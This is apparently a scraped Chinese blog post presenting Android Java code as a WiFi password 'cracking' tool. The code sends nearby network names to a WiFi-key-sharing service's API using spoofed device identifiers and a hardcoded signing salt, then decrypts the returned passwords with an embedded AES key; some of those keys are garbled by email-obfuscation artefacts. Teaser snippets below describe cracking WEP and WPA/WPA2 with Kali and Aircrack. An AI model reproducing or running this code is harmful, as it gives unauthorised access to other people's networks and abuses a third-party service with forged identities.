wifi密码破解功能(只能破解部分加密方式的wifi)

SSID是wifi名称 ,密码是wifi密码,(要有网络情况下才能破解)

主要代码:

public class MainActivity extends Activity

{

Context mContext = this;

TextView textView;

WifiStatus wifiStatus;

Handler mHandler;

final int UPDATE_TEXT = 1;

@Override

protected void onCreate(Bundle savedInstanceState)

{

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

textView = (TextView) findViewById(R.id.content);

wifiStatus = new WifiStatus(mContext);

mHandler = new Handler()

{

public void handleMessage(Message msg) {

switch (msg.what) {

case UPDATE_TEXT:

textView.setText(msg.obj.toString());

break;

}

}

};

showWifiStatus();

}

public void btnWifi(View v)

{

try {

Toast.makeText(mContext, "查询中...", Toast.LENGTH_SHORT).show();

new Thread(new Runnable() {

@Override

public void run() {

try {

Message msg = new Message();

msg.what = UPDATE_TEXT;

msg.obj = new mkQuerypwd().getpwd();

mHandler.sendMessage(msg);

} catch (Exception e) {

e.printStackTrace();

}

}

}).start();

} catch (Exception e) {

e.printStackTrace();

}

}

public void showWifiStatus() {

wifiStatus.scanWifi();

textView.setText("");

}

}

public class WifiStatus {

WifiManager wifiManager;

static List<ScanResult> wifiList;

public WifiStatus(Context mContext){

wifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);

if(!wifiManager.isWifiEnabled()){

wifiManager.setWifiEnabled(true);

Toast.makeText(mContext, "WIFI启动中...", Toast.LENGTH_SHORT).show();

}

}

public void scanWifi(){

wifiManager.startScan();

wifiList = wifiManager.getScanResults();

}

}

public class mkQuerypwd {

public String getpwd() throws Exception{

String salt = "[email protected]*Jq%KOL";

Map<String, String> map = new TreeMap<>();

map.put("och", "wandoujia");

map.put("ii", "");

map.put("appid", "0001");

map.put("pid", "qryapwd:commonswitch");

map.put("lang", "cn");

map.put("v", "58");

map.put("uhid", "a0000000000000000000000000000001");

map.put("method", "getDeepSecChkSwitch");

map.put("st", "m");

map.put("chanid", "guanwang");

map.put("sign", "");

map.put("bssid", "");

map.put("ssid", "");

map.put("dhid", this.getdhid());

map.put("mac", "d8:86:e6:6f:a8:7c");

StringBuilder bssid = new StringBuilder();

StringBuilder ssid = new StringBuilder();

for (ScanResult i : WifiStatus.wifiList){

bssid.append(i.BSSID).append(",");

ssid.append(i.SSID).append(",");

}

map.put("bssid", bssid.toString());

map.put("ssid", ssid.toString());

map.put("sign", getSign(map, salt));

String response = sendRequest(map);

JSONObject jsonObject = new JSONObject(response);

JSONObject psws = jsonObject.getJSONObject("qryapwd").getJSONObject("psws");

Iterator<String> iterator = psws.keys();

StringBuilder result = new StringBuilder();

while (iterator.hasNext()){

String item = iterator.next();

String encryptpwd = psws.getJSONObject(item).getString("pwd");

String decryptpwd = decrypt(encryptpwd);

int pwdLength = Integer.parseInt(decryptpwd.substring(0, 3));

String pwd = decryptpwd.substring(3, decryptpwd.length()-1).substring(0, pwdLength);

String name = psws.getJSONObject(item).getString("ssid");

result.append("BSSID: ").append(item).append("\nSSID: ").append(name).append("\n密码: ").append(pwd).append("\n\n");

}

if (TextUtils.isEmpty(result.toString())){

return "没找到密码 ˉ\\_(ツ)_/ˉ";

}

return result.toString();

}

public String getdhid() throws Exception {

String salt = "[email protected]*Jq%KOL";

Map<String, String> map = new TreeMap<>();

map.put("capbssid", "d8:86:e6:6f:a8:7c");

map.put("model", "Nexus+4");

map.put("och", "wandoujia");

map.put("appid", "0001");

map.put("mac", "d8:86:e6:6f:a8:7c");

map.put("wkver", "2.9.38");

map.put("lang", "cn");

map.put("capbssid", "test");

map.put("uhid", "");

map.put("st", "m");

map.put("chanid", "guanwang");

map.put("dhid", "");

map.put("os", "android");

map.put("scrs", "768");

map.put("imei", "355136052333516");

map.put("manuf", "LGE");

map.put("osvercd", "19");

map.put("ii", "355136052391516");

map.put("osver", "5.0.2");

map.put("pid", "initdev:commonswitch");

map.put("misc", "google/occam/mako:4.4.4/KTU84P/1227136:user/release-keys");

map.put("sign", "");

map.put("v", "58");

map.put("sim", "");

map.put("method", "getTouristSwitch");

map.put("scrl", "1184");

map.put("sign", getSign(map, salt));

String dhid;

String response = sendRequest(map);

JSONObject jsonObject = new JSONObject(response);

dhid = jsonObject.getJSONObject("initdev").getString("dhid");

return dhid;

}

public String getSign(Map map, String salt) throws Exception {

String value = "";

for (Object o : map.entrySet()) {

Map.Entry<String, String> entry = (Map.Entry) o;

value += entry.getValue();

}

value += salt;

MessageDigest messageDigest = MessageDigest.getInstance("MD5");

byte[] digest = messageDigest.digest(value.getBytes("UTF-8"));

BigInteger number = new BigInteger(1, digest);

String md5 = number.toString(16);

while (md5.length() < 32) {

md5 = "0" + md5;

}

return md5.toUpperCase();

}

public String getRequestData(Map params) throws Exception {

StringBuilder stringBuilder = new StringBuilder();

for (Object o : params.entrySet()) {

Map.Entry<String, String> entry = (Map.Entry) o;

stringBuilder.append(entry.getKey()).append("=").append(URLEncoder.encode(entry.getValue(), "UTF-8")).append("&");

}

stringBuilder.deleteCharAt(stringBuilder.length() - 1);

return stringBuilder.toString();

}

public String sendRequest(Map params) throws Exception{

URL url = new URL("http://wifiapi02.51y5.net/wifiapi/fa.cmd");

HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();

httpURLConnection.setDoInput(true);

httpURLConnection.setDoOutput(true);

httpURLConnection.setRequestMethod("POST");

httpURLConnection.setUseCaches(false);

httpURLConnection.setInstanceFollowRedirects(true);

httpURLConnection.setRequestProperty("Content-type", "application/x-www-form-urlencoded");

httpURLConnection.setRequestProperty("Host", "wifiapi02.51y5.net");

httpURLConnection.setRequestProperty("Accept", "text/plain");

httpURLConnection.connect();

BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(httpURLConnection.getOutputStream()));

bufferedWriter.write(getRequestData(params));

bufferedWriter.flush();

bufferedWriter.close();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));

StringBuilder response = new StringBuilder();

String Line;

while ((Line = bufferedReader.readLine())!=null){

response.append(Line).append("\n");

}

bufferedReader.close();

httpURLConnection.disconnect();

return response.toString();

}

public String decrypt(String encryptpwd) throws Exception{

String key = "[email protected]`~78vLsvpos";

String iv = "j#[email protected]!3jnv";

SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES");

IvParameterSpec ivParameterSpec = new IvParameterSpec(iv.getBytes());

Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");

cipher.init(Cipher.DECRYPT_MODE, secretKey, ivParameterSpec);

return new String(cipher.doFinal(hex2byte(encryptpwd)));

}

public byte[] hex2byte(String hex){

byte[] output = new byte[hex.length()/2];

for (int i = 0,j = 0; i < hex.length(); i += 2, j++)

{

String str = hex.substring(i, i + 2);

output[j] = (byte) Integer.parseInt(str, 16);

}

return output;

}

}

时间: 2024-12-14 09:37:26

wifi密码破解功能(只能破解部分加密方式的wifi)的相关文章

WIFI密码破解全攻略教程

目前无线网络加密技术日益成熟.以前的wep加密方式日渐淘汰,因为这种加密方式非常容易破解,当然现在还是有不少使用这种加密方式无线网络.现在大部分的无线网络都是使用wpa/wpa2方式来加密的,这种加密方式安全系数高,很难破解,当然这也不是不可能的. 本经验将教大家破解用wpa/wpa2加密方式的wifi密码,只要你肯去做,而且周围是有可用的wifi信号的,破解成功是必然的. 现在就让我们开始吧! 一.准备篇 硬件准备 首先我们需要一个可用来破解的无线网卡,我们也叫它卡王.这类网卡的核心芯片市面上

android 获取手机里面的WIFI密码

获取手机里面的WIFI密码??刚看到的时候我也没明白这个有什么用,自己的手机不会不知道wifi密码吧,所以到现在我也没用到个这个功能 ,在这里权当记录一下,以备以后再找. 话说怎么获取WIFI密码还得从小米手机说起,记得小米推出了个Wifi密码共享的功能:比如在一个咖啡厅,只要一个人向服务员获取了密码,然后他打开wifi密码共享,那么其他人就可以直接连上wifi,而不需要再向服务员询问密码.但是后来安全什么的东西,最后这项功能好像也就无疾而终了.. 不过我们还是可以看一下小米是怎么实现的: 1.

3种方式教你怎样显示手机wifi密码,不再愁密码忘记了

有很多小伙伴在日常使用手机的过程当中,会出现忘记WiFi密码的问题,比如说家里来了客人想要连接家里的WiFi,比如自己的手机取消保存了WiFi的密码,要重新接入的时候提示要输入密码,之后一头雾水. 今天小编要来跟大家介绍三种可以快速显示手机WiFi密码的方法. 一.借助电脑 如果你的电脑是连接WiFi的,那么可以在电脑的右下角看到如下的WiFi标记,鼠标右击WiFi信号,打开网络共享中心. 之后会弹出电脑的控制面板,在控制面板当中点击右边WiFi的名字. 在WiFi状态的窗口当中,点击无线属性

无线网卡加密方式wep wpa/wpa2 介绍

常见无线热点的配置选项:无线名称路由器的无线(Wi-Fi)名称.无线密码无线加密使用WPA2-PSK/WPA-PSK加密方式.AES加密算法,无线密码为8-63个字符,最好是数字.字母.符号的组合.信道无线数据信号传送的通道,建议保持默认的自动,此时路由器会自动根据周围的无线环境选择一个最好的信道.模式路由器工作的无线模式.频段带宽路由器传输无线数据的频段宽度.信号强度可以根据实际使用需要选择不同档次的信号强度.开启AP隔离开启之后可以安全隔离连接到路由器的各个无线设备. 加密方式: 1. WE

无线网络的几种认证与加密方式

1.Open/NONE 完全不认证也不加密,任何人都可以连到无线基地台使用网络. 2.WEP (Wired Equivalent Privacy) 有线等效加密 最基本的加密技术,手机用户.笔记型计算机与无线网络的Access Point(网络金钥AP)拥有相同的网络金钥,才能解读互相传递的数据.这金钥分为64bits及128bits两种,最多可设定四组不同的金钥.当用户端进入WLAN前必须输入正确的金钥才能进行连接. WEP加密方法很脆弱.网络上每个客户或者计算机都使用了相同的保密字,这种方法

使用 Aircrack-ng 破解 WEP 和 WPA/WPA2 加密的 Wi-Fi 密码。(转)

1.首先请不要使用此方法去搞破坏,去蹭Wi-Fi,因为不装逼地说,我认为技术本身的价值很大,尤其是在学习这个技术的过程中解决遇到的问题,当经过重重困难最后终于成功之后的喜悦又怎么能拿去蹭网呢.我在此过程中都是用自己路由做的测试,相信大家也可以从文中看到,所以请不要用技术做一些不好的事情. 2.欢迎使用Kali Linux 的朋友互相交流,大家共同进步学习. 索引: 1.工具 2.需要了解的知识 3.破解WEP 4.破解WPA/WPA2 5.其他 6.Q&A 7.参考文章 1.用到的工具: Air

Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)

Kali Linux使用Aircrack破解wifi密码(wpa/wpa2) 要求: 安装有KaliLinux的计算机 支持监控模式的网卡,笔记本电脑一般都支持 字典文件 时间和耐心 这种攻击需要字典文件,一个好的字典至关重要.我以Kali Linux自带的rockyou字典为例,位于/user/share/wordlists/rockyou.txt.gz. 使用前先解压: # gzip -d /usr/share/wordlists/rockyou.txt.gz 注意:破解其他人的wifi密码

WiFi密码破解详细图文教程

每天都能看到有不少网友在回复论坛之前发布的一篇破解WiFi密码的帖子,并伴随各种疑问.今天流云就为大家准备一篇实战型的文章吧,详细图文从思维CDlinux U盘启动到中文设置,如何进行路由SSID扫描.WPA密码类型该如何破解.字典该怎样做(WEP加密的密码貌似可以直接破解不用字典)效果比BT8要强悍很多!这是一篇详细介绍WiFi密码破解的文章,准备好了吗? 好了,先说下提前要准备的东东吧:1.U盘一枚,最小1G空间.需进行格式化操作,提前保存内部文件.2.CDlinux镜像.帖子最后会提供一枚

利用kali破解wifi密码

准备工具 1.笔记本 2.USB无线上网卡(必备) 3.kali系统 4.密码字典 第一种方法 暴力破解法 何为暴力破解呢,其实就是一个一个密码去试,直到正确的密码. 现在的wifi一般加密都是: 1. WEP(有线等效加密)——采用WEP64位或者128位数据加密. 2.WPA-PSK[TKIP]———采用预共享秘钥的WI-FI保护访问,采用WPA-PSK标准加密技术,加密类型为TKIP. 3.WPA-PSK[TKIP]+WPA2-PSK[AES]———允许客户端使用WPA-PSK[TKIP]